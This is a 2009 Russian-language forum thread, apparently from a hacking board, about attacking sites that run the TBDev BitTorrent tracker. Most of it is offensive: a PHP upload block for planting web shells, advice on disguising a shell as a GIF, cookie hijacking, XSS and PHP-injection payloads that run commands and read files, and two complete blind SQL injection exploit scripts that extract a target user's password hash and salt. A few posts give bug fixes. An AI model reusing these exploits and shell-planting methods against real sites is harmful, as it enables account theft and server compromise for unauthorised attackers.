if (!empty($_GET['ac'])) {$ac = $_GET['ac'];}
elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];}
else {$ac = "upload";}
switch($ac) {
case "upload":
echo <<<HTML
<table>
<form enctype="multipart/form-data" action="$self" method="POST">
<input type="hidden" name="ac" value="upload">
<tr>
<input size="5" name="file" type="file"></td>
</tr>
<tr>
<td><input size="10" value="$docr/" name="path" type="text"><input type="submit" value="ОК"></td>
$tend
HTML;
if (isset($_POST['path'])){
$uploadfile = $_POST['path'].$_FILES['file']['name'];
if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];}
if (copy($_FILES['file']['tmp_name'], $uploadfile)) {
echo "Файло ".$_FILES['file']['name']." загружен";
} else {
print "Не удаётся загрузить файло. Инфа:\n";
print_r($_FILES);
}
}
break;
}
?>
</pre>
Вот Замутил это из одного древнего шела Создаёте пихапе блок вписываете туда весь этот код Сохраняете. в нужном блоке И на указанных вами страницах будет отабражаться формачка залифки файла Найдёте эту формачку Укажите директорию, зальете.
у меня половина кода высвечиваеться в блоке, и там 2 формы в первой выбрать файл, после выбора наживаю ентер и кидает на http://site.ru/$self
пробвал во втором окне выбрать адрес в папку с оформление все так же кидает http://site.ru/$self
что не так я делаю?
Red Virus
13.01.2009, 17:36
у меня половина кода высвечиваеться в блоке, и там 2 формы в первой выбрать файл, после выбора наживаю ентер и кидает на http://site.ru/$self
пробвал во втором окне выбрать адрес в папку с оформление все так же кидает http://site.ru/$self
что не так я делаю?
Лучше залей гифный шелл и с инклудь его с админки
Смени расширение шелла с php на gif залей на серв
в админке создай php блок и сунь туда этот код
например так
include("torrents/images/44776.gif");
потом выставляешь отображение блока на какой нить странице и вуаля на той страничке откроется шелл
у меня половина кода высвечиваеться в блоке, и там 2 формы в первой выбрать файл, после выбора наживаю ентер и кидает на http://site.ru/$self
пробвал во втором окне выбрать адрес в папку с оформление все так же кидает http://site.ru/$self
что не так я делаю?
Это для старой версии сделано...
На новой я не тестил..
У нас в локале повальное распространение старого двига Серверов 100 наверно
и все на одном двиге=)
pacan4ik
16.01.2009, 16:50
Ну так кто поможет? может кто зделать блок через который залить шел
pacan4ik
16.01.2009, 22:46
Икстати ред вирус можно зделать как нибудь не фаловый блок ,а простым блоком с инклудить?
Подскажите как через куки зайти?
Взял я его куки со своей базы.
Открываю его сайт(куки)
Ид меняю на его и куки его ставлю! Обновляю страницу и я становлюсь как гость, вылетаю из под акка! Почему??
Обьяснить что не так
_Sniper_
17.01.2009, 13:09
Подскажите как через куки зайти?
Взял я его куки со своей базы.
Открываю его сайт(куки)
Ид меняю на его и куки его ставлю! Обновляю страницу и я становлюсь как гость, вылетаю из под акка! Почему??
Обьяснить что не так
В поле uid в куках пишеш ид юзера...в поле pass пишеш куки которые ты через експлоит узнал...
http://img413.imageshack.us/img413/5708/91532398wa2.jpg
В поле uid в куках пишеш ид юзера...в поле pass пишеш куки которые ты через експлоит узнал...
http://img413.imageshack.us/img413/5708/91532398wa2.jpg
я так и делаю! Но после того как обновляю страницу я делаюсь как гость :mad:
nAPEHb, не туда пассхэш пишеш.И вообще, для этих дел юзай оперу
Юзаю оперу!
В куках 3 строки:
pass
PHPSESSID
uid
Я меняю 1 и 3! И вылетаю
pacan4ik
18.01.2009, 14:57
возможно подмену куки заделал разработчик, и новые фикс версии уже не подмениш куки((
ya_krivetko
21.01.2009, 01:54
что то мне кажется не так по експлой запускаешь и получаешь ответ.
Trying to get your cookies... [DONE]
Trying to get passhash:
Exploit failed
Сбрей усы, надень трусы.
Эксплоит уже мало где работает. Только там где ещё про багу не знают...
Ну так кто поможет? может кто зделать блок через который залить шел
нафиг этот геморой? есть другой способ, пишеш комент к торренту в виде кода шелла, потом через скулю в мыле интоаутфайл свой комент и шелл готов
S0ulVortex
07.03.2009, 20:46
Нашёл уязвимость в движке TBDev v2.0 Yuna Scatari Edition (14.09.2006)
/viewrequests.php?search=[xss]
фильтрация есть но плохая :)
'></title><script>alert('xss')</script>
Gray_Wolf
08.03.2009, 18:52
А через что туда можно залить шелл, имея права СисОпа?
Нашёл уязвимость в движке TBDev v2.0 Yuna Scatari Edition (14.09.2006)
/viewrequests.php?search=[xss]
фильтрация есть но плохая :)
'></title><script>alert('xss')</script>
Лично у меня нет этого файла , так как в этом файле уязвимость была , на сайте TBDev'a уже есть темка как баги закрывать и какие. Я даже создал тут темку =]
Gray_Wolf
12.03.2009, 09:56
Некоторые админы забывают удалить идущий в комплекте с трекером MyBB (www.tracker.site.ru/forums.php), а в нём есть отличная PHP-инъекция.
И вот ещё какой вопрос:
Мне нужно узнать пароль определённого пользователя(брутить нереально), что и где в коде нужно дописать, чтобы у него очистились куки, и при вводе пароля создался файл с пассом.
ILYAtirtir
13.03.2009, 04:59
Залейте пожалуста TBDev 2.0 Yuna Scatari Edition(сам двиг),хочу на локалхосте проверить пару вещей.=)
Залейте пожалуста TBDev 2.0 Yuna Scatari Edition(сам двиг),хочу на локалхосте проверить пару вещей.=)
http://rapidshare.com/files/208632185/TBDev.18.05.07_pre_fixed.zip.html
RaMTararam
15.03.2009, 13:21
Мой аккаунт отключили и надо как то занова врубить его...
Новый не регит, выдает что данный ip зареген
Можно ли что либо сделать в данной ситуации??
Вот ещё
/viewrequests.php?sort='></title><script>alert('xss')</script>
Мой аккаунт отключили и надо как то занова врубить его...
Новый не регит, выдает что данный ip зареген
Можно ли что либо сделать в данной ситуации??
Сотрей cookies и попрупай опять зарегится
Rostov114
10.04.2009, 12:50
По моему не было.
Мод AJAX проверка занятости e-mail и никнейма.
Бажные куски кода:
$res = (@mysql_fetch_row(@sql_query("select count(*) from users where username='$wantusername'"))) or die(mysql_error());
и
$res = (@mysql_fetch_row(@sql_query("select count(*) from users where email='$email'"))) or die(mysql_error());
Через данные уязвимости можно стырить пассхеш любого пользователя но как показала практика при запросе вида ' union select passhash from users where id=1 into outfile '../../../usr/local/www/torrent/torrents/images/1.txt'/* -- @ukrnet.ua
Стандартный JS убивает = поэтому создаем на каком нибудь сервере страничку с содержанием
<form method="POST" action="http://АДРЕС_ТРЕКЕРА/check_signup.php">
<input type="text" name="user name" size="20">
<input type="text" name="emai l" size="20">
<input type="submit" value="go">
</form> Вставляем в любое из полей SQL запрос и получаем в фаил 1.txt пассхеш.
P.S. При юзании данной уязвимости можно столкнутся с тем что веб сервер "изолирован" и тогда MySQL выдаст ошибку о не возможности сохранить фаил. Поэтому вопрос можно ли как нибудь составить SQL запрос чтобы он пассхеш вывел на экран? :rolleyes:
Если нет вывода, кроме mysql_error, можешь посмотреть мой сплоит, гдето на 1-4 странице, последняя версия. Если есть вывод, то как обычно.
Вообще, ещё раз перечитай (если читал): https://forum.antichat.ru/thread43966.html
Мой сплоит работает по методу описаному в пункте 3.3
Qwazar скажи пожалуйста через какие доки моно просунуть SQL inj ... кроме тех что ты дал..
ILYAtirtir
23.04.2009, 04:31
Вместе с этим трекером идет станартный форум mybb,там есть php inj
http://sait.ru/torrent/forum/forumdisplay.php?fid=2
&sortby='];system('dir C:\\');exit;// ИТД
Можно файлы читать
http://sait.ru/torrent/forum/forumdisplay.php?fid=2
&sortby='];readfile('C:/boot.ini');exit;//
Ну вообщем смотря в каком случае. Можно шелл заюзать.
P.S.Это так если инъекция не прет.:)
Qwazar скажи пожалуйста через какие доки моно просунуть SQL inj ... кроме тех что ты дал.. Ищи :) То что я нашёл выше уже устарело, а больше я пока не смотрел.
crazyserega1994
24.04.2009, 23:17
Возможно ли сменить пароль если я сижу на торрент акке? Просто нету формы для смены пароля...
Rostov114
25.04.2009, 23:45
Если нет вывода, кроме mysql_error, можешь посмотреть мой сплоит, гдето на 1-4 странице, последняя версия. Если есть вывод, то как обычно.
Вообще, ещё раз перечитай (если читал): https://forum.antichat.ru/thread43966.html
Мой сплоит работает по методу описаному в пункте 3.3
:) Ага спасибо..щас на основе твоего сплоита попытаюсь написать под свою багу.
Rostov114
26.04.2009, 00:50
При запросе вида ' union select passhash from users where id=1 into outfile '../../../usr/local/www/torrent/torrents/images/1.txt' -- @ukrnet.ua в моей узвимости сервер может ответить Access denied for user 'torrent_hack'@'localhost' (using password: YES). Что означает что он не в состоянии записать фаил на винчестер поэтому написал сплоит на основе сплоита от Qwazar.
<?
//TBDev2 Blind SQL Injection Exploit by Qwazar
//Greets: +toxa+ & antichat.ru & Rostov114
set_time_limit(0);
ignore_user_abort(1);
Error_Reporting(E_ALL & ~E_NOTICE);
function send_xpl($url, $xpl){
global $id;
$u=parse_url($url);
$data = "action=email&email={$xpl}";
$req = "POST ".$u['path']."check_signup.php HTTP/1.1\r\n";
$req .= "Host: ".$u['host']."\r\n";
$req .= "Content-Length: ".strlen($data)."\r\n";
$req .= "Content-Type: application/x-www-form-urlencoded\r\n";
$req .= "Connection: close\r\n\r\n";
$req .= $data;
$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
fwrite($fs, $req);
while (!feof($fs)) {
$res .= fread($fs, 8192);
}
fclose($fs);
return $res;
}
function xpl($field, $condition, $pos){
global $id;
$xpl="-1'+or+id=if(ascii(substring((select+$field+from+us e rs+where+id=$id),$pos,1))$condition,'1',(select+1+ union+select+2))+--+";
return $xpl;
}
function cond($url, $field, $cond, $pos, $ch) {
if(!preg_match('/Subquery returns/', send_xpl($url, xpl($field,$cond.$ch,$pos))))
return 1;
else
return 0;
}
function isVulnerable($url) {
if(preg_match('/Subquery returns/', send_xpl($url, xpl("passhash","=-1",1))))
return true;
else
return false;
}
function getChar($url, $field, $pos, $lb=0, $ub=255) {
while(true) {
$M = floor($lb + ($ub-$lb)/2);
if(cond($url, $field, '<', $pos, $M)==1) {
$ub = $M - 1;
}
else if(cond($url, $field, '>', $pos, $M)==1) {
$lb = $M + 1;
}
else
return chr($M);
if($lb > $ub)
return -1;
}
}
if($argc<2)
{
echo "==================\r\n";
echo "Using tbdev2sql.php url target_id\r\ntarget_id - id of target member\r\n\r\n\r\nEx.: tbdev2xpl.php http://www.site.com/ 1\r\n";
echo "==================\r\n";
die();
}
$url=$argv[1];
$id=$argv[2];
echo $url.":".$id."\r\n";
if(!isVulnerable($url))
die("Exploit failed: Target is not vulnerable");
echo "Trying to get passhash: ";
for($i=1;$i<=32;$i++){
$c = getChar($url, "passhash", $i, 47, 103);
if($c==-1)
die("\r\nExploit failed\r\n");
else
echo $c;
}
echo " [DONE]\r\n";
echo "Trying to get salt: ";
for($i=1;$i<=20;$i++){
$c = getChar($url, "secret", $i);
if($c==-1)
die("\r\nExploit failed\r\n");
else
echo $c;
}
echo " [DONE]\r\n";
?>
Использовать так же как и сплоит Qwazar-а только в этом сплоите не нужен аккаут зарегестрированого пользователя.
P.S. Для тех кто в танке Exploit failed: Target is not vulnerable - означает что дыру прикрыли.
Кстати, в функции function isVulnerable($url) - проверка на то уязвим сервер или нет происходит неверно, эта функция возвращает 1 или 2, т.е. всегда true :) Т.е. по сути проверка всегда проходит успешно.
З.Ы.
Да, это моя бага, но лучше исправить, чтобы не заваливать неуязвимый сервер тучей запросов. :)
Rostov114
26.04.2009, 13:34
Кстати, в функции function isVulnerable($url) - проверка на то уязвим сервер или нет происходит неверно, эта функция возвращает 1 или 2, т.е. всегда true :) Т.е. по сути проверка всегда проходит успешно.
З.Ы.
Да, это моя бага, но лучше исправить, чтобы не заваливать неуязвимый сервер тучей запросов. :)
:) Угу...исправил.
Rostov114
27.04.2009, 01:30
:)
Вторая версия сплоита. Отличия в поиске нет. Но зато теперь он распознает сам пропатчен/отсутсвует ли фаил check_signup.php. Если да то пытается осуществить атаку через takesignup.php.
Естественно перед этим происходит проверка на уязвимость обоих методов.
<?
//TBDev2 Blind SQL Injection Exploit by Qwazar
//Greets: +toxa+ & antichat.ru & Rostov114
set_time_limit(0);
ignore_user_abort(1);
Error_Reporting(E_ALL & ~E_NOTICE);
function send_xpl($url, $xpl, $type){
global $id;
$u=parse_url($url);
switch($type)
{
case 'takesignup':
$data = "wantusername=admin&wantpassword=123456&passagain=123456&gender=1&country=1&year=1970&month=01&day=01&";
$data .= "rulesverify=yes&faqverify=yes&ageverify=yes&email={$xpl}";
$req = "POST ".$u['path']."takesignup.php HTTP/1.1\r\n";
break;
case 'check':
$data = "action=email&email={$xpl}";
$req = "POST ".$u['path']."check_signup.php HTTP/1.1\r\n";
break;
}
$req .= "Host: ".$u['host']."\r\n";
$req .= "Content-Length: ".strlen($data)."\r\n";
$req .= "Content-Type: application/x-www-form-urlencoded\r\n";
$req .= "Connection: close\r\n\r\n";
$req .= $data;
$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
fwrite($fs, $req);
while (!feof($fs)) {
$res .= fread($fs, 8192);
}
fclose($fs);
return $res;
}
function xpl($field, $condition, $pos){
global $id;
$xpl="-1'+or+id=if(ascii(substring((select+$field+from+ users +where+id=$id),$pos,1))$condition,'1',(select+1+un i on+select+2))+--+ @ukrnet.ua";
return $xpl;
}
function cond($url, $field, $cond, $pos, $ch) {
global $type;
if(!preg_match('/Subquery returns/', send_xpl($url, xpl($field,$cond.$ch,$pos), $type)))
return 1;
else
return 0;
}
function isVulnerable($url) {
global $type;
if(!preg_match('/Subquery returns/', send_xpl($url, xpl("passhash","=-1",1), 'check')))
{
echo "File check_signup.php absents or not vulnerable.\r\n";
}
else
{
$type = 'check';
}
if(!$type)
{
if(!preg_match('/Subquery returns/', send_xpl($url, xpl("passhash","=-1",1), 'takesignup')))
{
die( "Exploit failed: Target is not vulnerable." );
}
else
{
$type = 'takesignup';
}
}
}
function getChar($url, $field, $pos, $lb=0, $ub=255) {
while(true) {
$M = floor($lb + ($ub-$lb)/2);
if(cond($url, $field, '<', $pos, $M)==1) {
$ub = $M - 1;
}
else if(cond($url, $field, '>', $pos, $M)==1) {
$lb = $M + 1;
}
else
return chr($M);
if($lb > $ub)
return -1;
}
}
if($argc<2)
{
echo "==================\r\n";
echo "Using tbdev2sql.php url target_id\r\ntarget_id - id of target member\r\n\r\n\r\nEx.: tbdev2xpl.php http://www.site.com/ 1\r\n";
echo "==================\r\n";
die();
}
global $type;
$url=$argv[1];
$id=$argv[2];
echo $url.":".$id."\r\n";
isVulnerable($url);
echo "Trying to get passhash: ";
for($i=1;$i<=32;$i++){
$c = getChar($url, "passhash", $i, 47, 103);
if($c==-1)
die("\r\nExploit failed\r\n");
else
echo $c;
}
echo " [DONE]\r\n";
echo "Trying to get salt: ";
for($i=1;$i<=20;$i++){
$c = getChar($url, "secret", $i);
if($c==-1)
die("\r\nExploit failed\r\n");
else
echo $c;
}
echo " [DONE]\r\n";
?>
= ) Конечно в эту версию можно было прикрутить и атаку через requests.php...но я не стал этого делать.
Rostov114
06.05.2009, 01:06
Сегодня ищя в очередной раз дыры в TBDev заметил странную вещь если после имени файла добавить слеш (/) то весь дизайн перекосит...после 5 минут анализирования нашел активную XSS
Использование
http://torrent/xxx.php/"><script>alert(/XSS/)</script>/
Где xxx любой фаил двига который отображает что либо в дизайне.
И лучше закрыть эту шнягу :D
BugFix:
файл include/init.php
Заменить
$url = explode('/', $_SERVER['PHP_SELF']);
на
$url = explode('/', $_SERVER['SCRIPT_NAME']);
или на
$url = explode('/', htmlspecialchars_uni($_SERVER['PHP_SELF']));
(c) n-sw-bit (http://bit-torrent.kiev.ua/aidena_novaia_xss-t5540/index.html)
wildshaman
12.05.2009, 19:45
Сегодня ищя в очередной раз дыры в TBDev заметил странную вещь если после имени файла добавить слеш (/) то весь дизайн перекосит...после 5 минут анализирования нашел активную XSS
Использование
http://torrent/xxx.php/"><script>alert(/XSS/)</script>/
Где xxx любой фаил двига который отображает что либо в дизайне.
это ПАССИВНАЯ XSS
злойдядька
30.05.2009, 13:30
При запросе вида ' union select passhash from users where id=1 into outfile '../../../usr/local/www/torrent/torrents/images/1.txt' -- @ukrnet.ua в моей узвимости сервер может ответить Access denied for user 'torrent_hack'@'localhost' (using password: YES). Что означает что он не в состоянии записать фаил на винчестер поэтому написал сплоит на основе сплоита от Qwazar....
НА КОЛ тебя! багу я и s_p_a_m нашли больше чем пол года назад!
http://forum.antichat.ru/showpost.php?p=958334&postcount=51
Rostov114
02.06.2009, 01:27
НА КОЛ тебя! багу я и s_p_a_m нашли больше чем пол года назад!
http://forum.antichat.ru/showpost.php?p=958334&postcount=51
Ты это..прочитай получше это сообщение...ты думаеш почему я сплоит под эту багу писал основываясь на споите Qwazar...а т.к. файлик то не запишеш...ты вначале читай..а потом обсирай...
Извините я в этом деле новичок но есть у нас в локальном пользовании трекер у которого вроде бы как движок TBDev 2.0, почему вроде бы потомучто у него в низу сайта есть такая натпись
http://waper.ru/file/905247/Безымянный.JPG
Вывести отчет об ошибке я так и не смог, перечитал кучу статей про SQL-inj и единственное что смог вывести так это страницу с странным текстом типа:
"То, что вы хотите, нету.",
"URL неправильный.",
"Я даже попробовал поглядеть рядом.",
"Нет ничего похожего.",
"А случайно не перепутали с [бЮЬЮ ЯЯШКЙЮ]",.............
Помогите что мне дальше с этим делать?
yurets, скорее всего файл requests.php в этой сборке удалили, и правильно сделали. Попробуй поискать другие уязвимости.
HAXTA4OK
18.06.2009, 23:30
вот что то нашел..))))зацени))что то у меня он не прошел
http://127.0.0.1/treker/testip.php?ip=1'
кажется что ето не SQL-inj
P.S.но все равно решил выложить....
P.S.S уже на сонную голову пишу..мб есть такой пост
if ($_SERVER["REQUEST_METHOD"] == "POST")
$ip = $_POST["ip"];
else
$ip = $_GET["ip"];
if ($ip)
{
$nip = ip2long($ip);
if ($nip == -1)
stderr($tracker_lang['error'], "Bad IP.");
$res = sql_query("SELECT * FROM bans WHERE $nip >= first AND $nip <= last") or sqlerr(__FILE__, __LINE__);
if (mysql_num_rows($res) == 0)
stderr("Результат", "IP адрес <b>$ip</b> не забанен.");
else
{
$banstable = "<table class=main border=0 cellspacing=0 cellpadding=5>\n" .
"<tr><td class=colhead>Первый</td><td class=colhead>Последний</td><td class=colhead>Комментарий</td></tr>\n";
while ($arr = mysql_fetch_assoc($res))
{
$first = long2ip($arr["first"]);
$last = long2ip($arr["last"]);
$comment = htmlspecialchars($arr["comment"]);
$banstable .= "<tr><td>$first</td><td>$last</td><td>$comment</td></tr>\n";
}
$banstable .= "</table>\n";
stderr("Результат", "<table border=0 cellspacing=0 cellpadding=0><tr><td class=embedded style='padding-right: 5px'><img src=pic/smilies/excl.gif></td><td class=embedded>IP адрес <b>$ip</b> забанен:</td></tr></table><p>$banstable</p>");
}
}
stdhead("Проверка IP");
BpoDE POST
вот что то нашел..))))зацени))что то у меня он не прошел
http://127.0.0.1/treker/testip.php?ip=1'
кажется что ето не SQL-inj
Это не уязвимость, просто ошибка разработчиков.
HAXTA4OK
19.06.2009, 08:59
http://127.0.0.1/treker/viewoffers.php?filter=
тута крутани =\ что то я не смог довести до ума
http://127.0.0.1/treker/viewoffers.php?filter=
тута крутани =\ что то я не смог довести до ума Молодчина, это слепая скуль.
/viewoffers.php?filter= AND if(substring(version(),1,1)=5,(select 1 union select 2),1) -- 1
Советую почитать и вникнуть в статью (пункт "3.ЧТО ДЕЛАТЬ ЕСЛИ ОТСУТСТВУЮТ ВЫВОДИМЫЕ ПОЛЯ."): https://forum.antichat.ru/thread43966.html
А затем: https://forum.antichat.ru/thread119047.html
Кстати, если есть хоть одна запись в таблице offers, в следующем запросе (у меня строка 98) можно увидеть скулю с выводом (проверь, я не пробовал на практике, но по коду - вывод вроде есть).
HAXTA4OK
19.06.2009, 12:03
http://localhost/treker/comment.php?action=check&tid[]=
тоже раскрытие путей))))что то типа твоего)))
HAXTA4OK
19.06.2009, 12:40
http://127.0.0.1/treker/invite.php?id=1&type=del
у меня выкинуло внизу раскрытие путей))
Не нужно для каждого раскрытия писать отдельный пост, в этом движке раскрытий тысяча и одна штука. Собирай их все в один пост, а не плоди сообщения.
Rostov114
20.06.2009, 16:17
Не нужно для каждого раскрытия писать отдельный пост, в этом движке раскрытий тысяча и одна штука. Собирай их все в один пост, а не плоди сообщения.
Хотя их можно отключить 1 функцией...
А за скуль спасибо = )
P.S. Кому интересно могу дать сплоит который атакует по всем на данный момент известным уязвимостям, включая последнюю. Выкладывать в паблик не хочу ибо слишком он сейчас опасен.
P.S. Кому интересно могу дать сплоит который атакует по всем на данный момент известным уязвимостям, включая последнюю. Выкладывать в паблик не хочу ибо слишком он сейчас опасен.
Хотелось бы взглянуть... :) тебе плюсик и спасибо...
Тут пишут что найдена ещё уязвимость: https://forum.antichat.ru/showpost.php?p=1346236&postcount=7789
A vulnerability found in the popular bittorrent tracker TBSource code allows an attacker to inject SQL queries and read secret information from the database.
The value of 'choice' passed to the script index.php is not properly sanitized. When a special tailored value is passed by an attacker, full reading access to the database is possible.
Some projects based in TBSource like TBDev and TorrentStrike have been found to be affected by the same vulnerability.
Источник не указан, если кто найдёт - пишите, поставим копирайты. Расковырял этот парметр, вот результат:
Посмотрел, короче будет работать только если:
1) залогиниться
2) юзер хоть раз участвовал в голосовании
Уязвимый запрос:
sql_query("INSERT INTO pollanswers VALUES(0, $pollid, $userid, $choice)") or sqlerr(__FILE__, __LINE__);тогда можно в к примеру сделать так:http://test1.ru:8012/tbdev/
POST choice=111 and if(substring(version(),1,1)=5,(select 1 union select 2),2)
UPD:
Нашёл источник: "Bug discovered by Emiliano Scavuzzo"
А это $choice = (int) $_POST["choice"];
if ($CURUSER && $choice >= 0 && $choice < 256) { не спасает? :)
Если добавить (int) как написано в твоём посте, то спасает. Я не знаю может в новой версии есть строгое приведение типа, я на старой смотрел, там его нет.
З.Ы.
Вот у меня код такой:
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$choice = $_POST["choice"];
if ($CURUSER && $choice != "" && $choice < 256 && $choice == floor($choice)) {
Ник как у разработчика =)... Ну и хорошо, что разработчики обращают внимание на уязвимости своих продуктов. Очень правильный подход.
З.Ы.
Завязываем оффтопить.
З.З.Ы.
Разработчикам советую обратить внимание на: https://forum.antichat.ru/thread30641.html
Если добавить (int) как написано в твоём посте, то спасает. Я не знаю может в новой версии есть строгое приведение типа, я на старой смотрел, там его нет.
З.Ы.
Вот у меня код такой:
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$choice = $_POST["choice"];
if ($CURUSER && $choice != "" && $choice < 256 && $choice == floor($choice)) {
Не, ну это старенький код =)))
А насчет SQL-inj - да там проблема что когда движок весь собирался - (а это 2006-й год!!!) то малость я тогда и не знал что такое есть, и как защищаться
А лазить по всему коду - так влень, лучше списочком де дырки =)))))
HAXTA4OK
27.06.2009, 00:50
if (get_user_class() < UC_MODERATOR)
puke($tracker_lang['access_denied']);
$action = $_POST["action"];
if ($action == "edituser") {
$userid = $_POST["userid"];
$title = $_POST["title"];
$avatar = $_POST["avatar"];
// Check remote avatar size
if ($avatar) {
if (!preg_match('#^((http)|(ftp):\/\/[a-zA-Z0-9\-]+?\.([a-zA-Z0-9\-]+\.)+[a-zA-Z]+(:[0-9]+)*\/.*?\.(gif|jpg|jpeg|png)$)#is', $avatar))
stderr($tracker_lang['error'], $tracker_lang['avatar_adress_invalid']);
if(!(list($width, $height) = getimagesize($avatar)))
stderr($tracker_lang['error'], $tracker_lang['avatar_adress_invalid']);
if ($width > $avatar_max_width || $height > $avatar_max_height)
stderr($tracker_lang['error'], sprintf($tracker_lang['avatar_is_too_big'], $avatar_max_width, $avatar_max_height));
}
// Check remote avatar size
$resetb = $_POST["resetb"];
$birthday = ($resetb=='yes'?", birthday = '0000-00-00'":"");
$enabled = $_POST["enabled"];
$warned = $_POST["warned"];
$warnlength = 0 + $_POST["warnlength"];
$warnpm = $_POST["warnpm"];
$donor = $_POST["donor"];
$uploadtoadd = $_POST["amountup"];
$downloadtoadd= $_POST["amountdown"];
$formatup = $_POST["formatup"];
$formatdown = $_POST["formatdown"];
$mpup = $_POST["upchange"];
$mpdown = $_POST["downchange"];
$support = $_POST["support"];
$supportfor = htmlspecialchars($_POST["supportfor"]);
$modcomm = htmlspecialchars($_POST["modcomm"]);
$deluser = $_POST["deluser"];
$class = 0 + $_POST["class"];
if (!is_valid_id($userid) || !is_valid_user_class($class))
stderr($tracker_lang['error'], "Неверный идентификатор пользователя или класса.");
// check target user class
$res = sql_query("SELECT warned, enabled, username, class, modcomment, uploaded, downloaded FROM users WHERE id = $userid") or sqlerr(__FILE__, __LINE__);
$arr = mysql_fetch_assoc($res) or puke("Ошибка MySQL: " . mysql_error());
$curenabled = $arr["enabled"];
$curclass = $arr["class"];
$curwarned = $arr["warned"];
if (get_user_class() == UC_SYSOP)
$modcomment = $_POST["modcomment"];
else
$modcomment = $arr["modcomment"];
// User may not edit someone with same or higher class than himself!
if ($curclass >= get_user_class() || $class >= get_user_class())
puke("Так нельзя делать!");
$userid = $_POST["userid"];
$res = sql_query("SELECT warned, enabled, username, class, modcomment, uploaded, downloaded FROM users WHERE id = $userid") or sqlerr(__FILE__, __LINE__);
все это из файла modtask.php
посмари там через пост не уязвим ли? просто с постом работать не умею :(
Не уязвим ))
if (!is_valid_id($userid) || !is_valid_user_class($class))
меня больше волнует проблема траффика и проверка аватарки - ну залью я туда jph весом 500 метров и все, удаленном трекеру жопа
HAXTA4OK
27.06.2009, 20:30
http://127.0.0.1/treker/users.php?search=1&page=1
тут у меня выдает
Ответ от сервера MySQL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-100,100' at line 1
в C:\xampp\htdocs\treker\users.php, линия 131
Запрос номер 12.
Nightmarе
27.06.2009, 20:55
меня больше волнует проблема траффика и проверка аватарки - ну залью я туда jph весом 500 метров и все, удаленном трекеру жопа
Конфигурация upload_max_filesize спасает от разовой загрузки больших файлов ;)
нет, я не об этом я о возможности нагрузить канал трекера просто забив в поле аватара (урл аватарки!!) ссылку на файлик весом эдак под 500мб
т.е беру файлик Therion_-_The_Miskolc_Experience-2CD-2009-FKK.rar переименовываю в avatar.jpg
кидаю на какой-то хостинг, и давай на 3-х юзерских профилях - пункт проверка аватарки т.е установка, а там уже дело техники - каждый пхп будет качать эти 150 метров файлик, потом удалять, а мы тем временем продолжаем процесс.
результат - на сервере забит канал, и вот вам по сути ддос
if (!preg_match('#^((http)|(ftp):\/\/[a-zA-Z0-9\-]+?\.([a-zA-Z0-9\-]+\.)+[a-zA-Z]+(:[0-9]+)*\/.*?\.(gif|jpg|jpeg|png)$)#is', $avatar))
stderr($tracker_lang['error'], $tracker_lang['avatar_adress_invalid']);
if(!(list($width, $height) = getimagesize($avatar)))
stderr($tracker_lang['error'], $tracker_lang['avatar_adress_invalid']);
Yuna привет:) Чет ты немнога поздно тут зарегался. Юзай идею:
function remote_fsize($path)
{
$fp = @fopen($path,"r");
if (!$fp) return false;
$inf = stream_get_meta_data($fp);
fclose($fp);
if ($inf["wrapper_data"]) {
foreach($inf["wrapper_data"] as $v)
if (stristr($v,"content-length"))
{
$v = explode(":",$v);
return trim($v[1]);
}
} else return FALSE;
}
Rostov114
30.06.2009, 18:06
http://127.0.0.1/treker/users.php?search=1&page=1
тут у меня выдает
Ответ от сервера MySQL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-100,100' at line 1
в C:\xampp\htdocs\treker\users.php, линия 131
Запрос номер 12.
Скуль тут не возможен из-за строки:
$offset = ($page * $perpage) - $perpage;
YouSeeBeter
03.07.2009, 19:10
эксплоит Qwazar'a как-будто вымер.
Сейчас тестировал его на чистом SKy tracker где есть уязвимость:
Trying to get your cookies... [DONE]
Trying to get passhash:
Exploit failed
Проверьте сами, даже где пахал не пашет, помогите...
Rostov114
06.07.2009, 23:18
Проверьте сами, даже где пахал не пашет, помогите...
:) Cнимай штаны и бегай.
А по сабжу....проблема не в сплоите, а в тебе.
P.S. Простите не удержался.
HAXTA4OK
08.07.2009, 21:07
http://127.0.0.1/treker/rss.php?passkey=1'
SQL
$passkey = $_GET["passkey"];
if ($passkey) {
$user = mysql_fetch_row(sql_query("SELECT COUNT(*) FROM users WHERE passkey = '$passkey'"));
if ($user[0] != 1)
exit();
} else
loggedinorreturn();
XSS
http://127.0.0.1/treker/viewrequests.php?sort=%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E
P.S. сорр не бегал по всем страницам так что не знаю выкладывали или нет багу =)
http://127.0.0.1/treker/usersearch.php?r=%22%3Cscript%3Ealert(/XSS/)%3C/script%3E
=\ что то не понял...есть тут что нить или просто косяк кода?
во всех(или нет, не проверял) usersearch.php?....=%22%3Cscript%3Ealert(/XSS/)%3C/script%3E
такой косяк))))
HAXTA4OK
08.07.2009, 21:57
http://127.0.0.1/treker/userhistory.php?action=viewposts&id=x
x= id у которого нету постов как я понял ..и он выдаст ошибку ))) но SQL не провернуть так как нету таблы такой у меня
так что наверно к разряду раскрытие путей
usersearch.php дыряв на XSS лучше чем решето =)))
usersearch.php дыряв на XSS лучше чем решето =)))
а по подробнее можно? и в каких версиях?
во всех
напиши что за XSS ты узал если не трудно...
для начала просто код откройте - нет проверки $_GET ваще никакой в файле...
Yuna
а через какой скрипт Вы в usersearch.php параметры передавали? просто так его вызвать нельзя...
Nightmarе
13.07.2009, 04:46
Это видимо особый стиль написания движка с новым подходом?
Хоть одну дырку (пусть беспонтовую) осмысленно оставить...
просто так его вызвать нельзя...
? в смисле нельзя
? в смисле нельзя
ну доступа к нему нет, ошибка 403, проверял и на локалхосте и во всех сайтах с этим движком
Видимо у вас что -то не так, вызвать его напрямую можно...
Только он доступен-то модератором только т.к это против них XSS
Rostov114
02.08.2009, 10:39
Новый сплоит от меня. Базируеться на сплоите от Qwazar.
На данный момент он умеет обходить:
Коды регистрации
Запросы инвайтов
Бан по IP
Совершает атаки через:
./rss.php
./requests.php
./takesignup.php
./check_signup.php
./viewoffers.php
Форум
Также имеет 2 способа работы:
